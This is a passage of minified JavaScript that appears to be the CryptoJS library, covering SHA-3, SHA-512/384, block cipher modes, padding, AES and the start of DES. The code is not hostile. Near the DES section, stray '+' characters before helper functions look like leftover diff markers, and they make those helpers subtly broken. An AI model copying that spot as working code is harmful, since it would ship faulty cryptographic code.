16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, 